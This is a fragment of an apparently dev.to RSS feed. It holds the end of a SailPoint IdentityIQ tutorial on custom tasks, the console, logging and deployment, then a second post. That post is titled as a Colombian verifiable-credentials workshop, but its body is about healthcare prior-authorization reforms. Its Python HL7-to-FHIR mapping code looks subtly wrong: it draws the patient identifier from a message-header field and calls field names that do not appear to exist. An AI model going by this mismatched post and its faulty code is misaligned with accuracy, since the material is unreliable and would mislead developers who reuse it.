&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.TaskResult&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.TaskSchedule&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.task.AbstractTaskExecutor&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DormantAccountTask&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;AbstractTaskExecutor&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;terminated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;SailPointContext&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;TaskSchedule&lt;/span&gt; &lt;span class="n"&gt;schedule&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                        &lt;span class="nc"&gt;TaskResult&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Attributes&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;threshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"dormantDays"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;processed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// ... query and process identities, checking terminated each iteration&lt;/span&gt;

        &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"identitiesProcessed"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;processed&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"dormantThreshold"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Integer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;terminate&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;terminated&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compile this into a JAR, drop it in &lt;code&gt;IdentityIQ_HOME/WEB-INF/lib/&lt;/code&gt;, restart the application server, and register it with a &lt;code&gt;TaskDefinition&lt;/code&gt; XML pointing at the class name.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Always honour &lt;code&gt;terminate()&lt;/code&gt;.&lt;/strong&gt; A task that ignores it cannot be stopped from the UI, and an administrator's only remaining option is restarting the application server.&lt;/p&gt;

&lt;h2&gt;
  
  
  The iiq Console
&lt;/h2&gt;

&lt;p&gt;The console is where you deploy, inspect, and debug. Launch it from &lt;code&gt;IdentityIQ_HOME/WEB-INF/bin&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./iiq console          &lt;span class="c"&gt;# Linux/macOS&lt;/span&gt;
iiq.bat console        &lt;span class="c"&gt;# Windows&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It requires the System Administrator capability and authenticates as &lt;code&gt;spadmin&lt;/code&gt; by default. The commands you will use constantly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; import /path/to/rules.xml           &lt;span class="c"&gt;# deploy an object&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; checkout Rule &lt;span class="s2"&gt;"My Rule"&lt;/span&gt; /tmp/r.xml  &lt;span class="c"&gt;# export for review or migration&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; list Rule                           &lt;span class="c"&gt;# enumerate objects of a class&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; get Identity jdoe                   &lt;span class="c"&gt;# print an object as XML&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; rule &lt;span class="s2"&gt;"My Rule"&lt;/span&gt;                      &lt;span class="c"&gt;# execute a rule interactively&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; warn                                &lt;span class="c"&gt;# show recent warnings&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;checkout&lt;/code&gt; plus &lt;code&gt;import&lt;/code&gt; is the migration path between environments. Export from dev, commit the XML to version control, import into test.&lt;/p&gt;

&lt;h2&gt;
  
  
  Logging and Debugging
&lt;/h2&gt;

&lt;p&gt;Configure logging in &lt;code&gt;IdentityIQ_HOME/WEB-INF/classes/log4j2.properties&lt;/code&gt;. IdentityIQ picks up changes to this file automatically within roughly 60 seconds — &lt;strong&gt;no application restart required&lt;/strong&gt;, which is the single biggest time-saver in IdentityIQ debugging.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="c"&gt;# Namespace your rule logging so you can raise it without drowning in output
&lt;/span&gt;&lt;span class="py"&gt;logger.customrules.name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;com.example.iiq&lt;/span&gt;
&lt;span class="py"&gt;logger.customrules.level&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;debug&lt;/span&gt;

&lt;span class="c"&gt;# Useful built-in loggers
&lt;/span&gt;&lt;span class="py"&gt;logger.connector.name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;sailpoint.connector&lt;/span&gt;
&lt;span class="py"&gt;logger.connector.level&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;debug&lt;/span&gt;

&lt;span class="py"&gt;logger.workflow.name&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;sailpoint.workflow&lt;/span&gt;
&lt;span class="py"&gt;logger.workflow.level&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;debug&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside a rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;org.apache.log4j.Logger&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;Logger&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Logger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getLogger&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.example.iiq.correlation"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Correlating account: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getNativeIdentity&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Never use &lt;code&gt;System.out.println()&lt;/code&gt; in production rules. It writes to the container log with no level control, no namespace, and no way to disable it without a code change and restart.&lt;/p&gt;

&lt;h2&gt;
  
  
  Deployment Practices That Prevent Outages
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Version-control the XML, not the database.&lt;/strong&gt; IdentityIQ objects live in the database, which makes them invisible to Git by default. Export every custom rule, workflow, and task definition with &lt;code&gt;checkout&lt;/code&gt; and commit the XML. Without this, a database refresh silently destroys work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Never edit rules in production through the UI.&lt;/strong&gt; The debug pages allow direct object editing, which creates changes that exist in exactly one environment and are lost on the next deployment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Test correlation rules against real edge cases&lt;/strong&gt; — accounts with null employee IDs, duplicate IDs, service accounts that should match nothing. A correlation rule that throws an exception aborts the entire aggregation run, not just the one account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Keep rules short.&lt;/strong&gt; A rule doing substantial work belongs in a compiled Java class in &lt;code&gt;WEB-INF/lib/&lt;/code&gt;, called from a thin BeanShell wrapper. You get compile-time type checking, real unit tests, and a debugger.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where This Fits in Broader Identity Governance
&lt;/h2&gt;

&lt;p&gt;Rules, workflows, and tasks are the mechanics. What you build with them is governance — access certification, joiner-mover-leaver automation, separation-of-duties enforcement. For the strategic layer above this code, see our guide to &lt;a href="https://dev.to/posts/identity-governance-in-the-zero-trust-era-achieving-dynamic-privileged-access-management-with-cyberark-and-sailpoint/"&gt;identity governance in the Zero Trust era&lt;/a&gt;, and for where the platform is heading, &lt;a href="https://dev.to/posts/sailpoint-extends-identity-governance-to-ai-agents-techinformed/"&gt;SailPoint's extension of governance to AI agents&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The infrastructure underneath — the Java runtime, the MySQL schema your queries hit, and the shell scripts that automate deployment — is covered in the companion article on &lt;a href="https://dev.to/posts/sailpoint-identityiq-java-mysql-shell-scripting-guide/"&gt;Java, MySQL, and shell scripting for SailPoint IdentityIQ&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>iam</category>
      <category>identitygovernance</category>
    </item>
    <item>
      <title>Colombia Advances Public Sector Tech with Verifiable Credentials Workshop</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Wed, 19 Aug 2026 14:39:57 +0000</pubDate>
      <link>https://dev.to/iamdevbox/colombia-advances-public-sector-tech-with-verifiable-credentials-workshop-2jim</link>
      <guid>https://dev.to/iamdevbox/colombia-advances-public-sector-tech-with-verifiable-credentials-workshop-2jim</guid>
      <description>&lt;h2&gt;
  
  
  Why This Matters Now
&lt;/h2&gt;

&lt;p&gt;The healthcare industry is undergoing significant transformation, particularly in the area of prior authorization (PA). Recent reforms by payers aim to streamline PA processes, reduce administrative overhead, and improve patient access to necessary treatments. However, these changes have sparked skepticism among providers, who fear increased complexity and potential disruptions. As an IAM engineer, understanding these reforms is crucial for ensuring secure and efficient data exchange in the healthcare ecosystem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding Prior Authorization Reforms
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Background
&lt;/h3&gt;

&lt;p&gt;Prior authorization has long been a cumbersome process in healthcare, involving multiple steps and manual interventions. Providers must submit detailed documentation to payers, who then review and approve or deny requests. This process can take days or even weeks, delaying patient care and increasing administrative costs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recent Reforms
&lt;/h3&gt;

&lt;p&gt;In response to these challenges, several payers have implemented or announced reforms aimed at simplifying PA processes. These reforms often involve:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Digitization&lt;/strong&gt;: Moving from paper-based to digital systems for submitting and reviewing PA requests.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Standardization&lt;/strong&gt;: Adopting standardized data formats and protocols to facilitate seamless data exchange.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automation&lt;/strong&gt;: Implementing automated workflows to reduce manual processing and speed up approvals.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interoperability&lt;/strong&gt;: Enhancing interoperability between provider and payer systems to ensure real-time data sharing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Timeline
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2021&lt;/strong&gt;: Many payers began exploring digital PA solutions and piloting new processes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2022&lt;/strong&gt;: Several major payers launched full-scale digital PA initiatives.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2023&lt;/strong&gt;: Ongoing implementation and expansion of these reforms, with increased focus on standardization and interoperability.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Impact on Providers
&lt;/h3&gt;

&lt;p&gt;Providers have mixed feelings about these reforms. While they recognize the potential benefits, such as faster approvals and reduced administrative burden, many are concerned about:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Technical Complexity&lt;/strong&gt;: The need to integrate new systems and comply with standardized protocols.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data Security&lt;/strong&gt;: Ensuring the security and privacy of sensitive patient information during data exchange.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Operational Disruption&lt;/strong&gt;: Potential disruptions to existing workflows and staff training requirements.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  IAM Considerations for Prior Authorization Reforms
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Secure Data Exchange
&lt;/h3&gt;

&lt;p&gt;One of the primary goals of PA reforms is to streamline data exchange between providers and payers. To achieve this securely, IAM solutions play a crucial role. Here are some key considerations:&lt;/p&gt;

&lt;h4&gt;
  
  
  Authentication and Authorization
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Multi-Factor Authentication (MFA)&lt;/strong&gt;: Implement MFA for accessing PA systems to prevent unauthorized access.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Role-Based Access Control (RBAC)&lt;/strong&gt;: Define roles and permissions based on job functions to ensure that only authorized personnel can access sensitive information.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Data Encryption
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Transport Layer Security (TLS)&lt;/strong&gt;: Use TLS to encrypt data transmitted between provider and payer systems.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encryption at Rest&lt;/strong&gt;: Ensure that sensitive data is encrypted when stored in databases and other storage systems.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Auditing and Monitoring
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Audit Logs&lt;/strong&gt;: Maintain detailed audit logs of all access and activity within PA systems.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real-Time Monitoring&lt;/strong&gt;: Implement real-time monitoring to detect and respond to suspicious activities promptly.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Standardized Data Formats
&lt;/h3&gt;

&lt;p&gt;Adopting standardized data formats is essential for seamless data exchange. The most commonly used standards in healthcare include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HL7&lt;/strong&gt;: Health Level Seven standards define messaging protocols for exchanging clinical and administrative data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FHIR&lt;/strong&gt;: Fast Healthcare Interoperability Resources provide a modern, flexible framework for exchanging healthcare data.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Example: Implementing FHIR
&lt;/h4&gt;

&lt;p&gt;Here's an example of how to implement FHIR for PA requests using OAuth 2.0 for authentication:&lt;/p&gt;

&lt;p&gt;{{&amp;lt; mermaid &amp;gt;}}&lt;br&gt;
graph LR&lt;br&gt;
    A[Provider System] --&amp;gt; B[Authorization Server]&lt;br&gt;
    B --&amp;gt; C{Valid?}&lt;br&gt;
    C --&amp;gt;|Yes| D[FHIR Server]&lt;br&gt;
    C --&amp;gt;|No| E[Error]&lt;br&gt;
    D --&amp;gt; F[PA Response]&lt;br&gt;
    F --&amp;gt; A&lt;br&gt;
{{&amp;lt; /mermaid &amp;gt;}}&lt;/p&gt;
&lt;h5&gt;
  
  
  Step-by-Step Guide
&lt;/h5&gt;



&lt;h4&gt;Register the Provider System&lt;/h4&gt;
Register the provider system with the authorization server to obtain client credentials.


&lt;h4&gt;Request an Access Token&lt;/h4&gt;
Use the client credentials to request an access token from the authorization server.


&lt;h4&gt;Submit PA Request&lt;/h4&gt;
Send the PA request to the FHIR server using the access token for authentication.


&lt;h4&gt;Receive PA Response&lt;/h4&gt;
Process the PA response received from the FHIR server.


&lt;h5&gt;
  
  
  Terminal Output
&lt;/h5&gt;



&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;Terminal&lt;/span&gt;



&lt;span&gt;$&lt;/span&gt; curl -X POST https://auth.example.com/token -d 'grant_type=client_credentials&amp;amp;client_id=provider123&amp;amp;client_secret=secret456'
&lt;span&gt;{"access_token": "eyJ...", "token_type": "Bearer", "expires_in": 3600}&lt;/span&gt;




&lt;h5&gt;
  
  
  Quick Reference
&lt;/h5&gt;


&lt;h4&gt;📋 Quick Reference&lt;/h4&gt;

- `curl -X POST https://auth.example.com/token` - Request an access token
- `curl -X POST https://fhir.example.com/PriorAuthorizationRequest` - Submit PA request

&lt;h3&gt;
  
  
  Interoperability Challenges
&lt;/h3&gt;

&lt;p&gt;Ensuring interoperability between provider and payer systems is critical for successful PA reforms. Common challenges include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;System Compatibility&lt;/strong&gt;: Different systems may use different standards and protocols, requiring additional integration efforts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data Mapping&lt;/strong&gt;: Mapping data fields between different systems can be complex and time-consuming.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Performance Issues&lt;/strong&gt;: Real-time data exchange can lead to performance bottlenecks if not properly managed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  Example: Handling Data Mapping
&lt;/h4&gt;

&lt;p&gt;Here's an example of how to handle data mapping between provider and payer systems using HL7:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Example Python code for mapping HL7 data to FHIR
&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fhir.resources.patient&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Patient&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;hl7apy.parser&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;parse_message&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;map_hl7_to_fhir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hl7_message&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Parse HL7 message
&lt;/span&gt;    &lt;span class="n"&gt;hl7_obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hl7_message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Create FHIR Patient resource
&lt;/span&gt;    &lt;span class="n"&gt;fhir_patient&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Patient&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;fhir_patient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;identifier&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;system&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://example.com/patient&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hl7_obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MSH&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SendingFacility&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
    &lt;span class="n"&gt;fhir_patient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;family&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hl7_obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PID&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;LastName&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;given&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;hl7_obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PID&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;FirstName&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;]}]&lt;/span&gt;
    &lt;span class="n"&gt;fhir_patient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;telecom&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;system&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;phone&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hl7_obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PID&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PhoneNumberHome&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;fhir_patient&lt;/span&gt;

&lt;span class="c1"&gt;# Example HL7 message
&lt;/span&gt;&lt;span class="n"&gt;hl7_message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MSH|^~&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;&amp;amp;|SendingApp|SendingFacility|ReceivingApp|ReceivingFacility|202310151200||ADT^A01|12345|P|2.5.1&lt;/span&gt;&lt;span class="se"&gt;\r&lt;/span&gt;&lt;span class="s"&gt;PID||12345^^^SendingFacility&amp;amp;1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16|Doe^John^^^Mr.|John^Doe||19800101|M||Caucasian|123 Main St^^Anytown^NY^12345^USA||(555)555-5555&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Map HL7 to FHIR
&lt;/span&gt;&lt;span class="n"&gt;fhir_patient&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;map_hl7_to_fhir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hl7_message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fhir_patient&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;indent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h5&gt;
  
  
  Notice Box
&lt;/h5&gt;

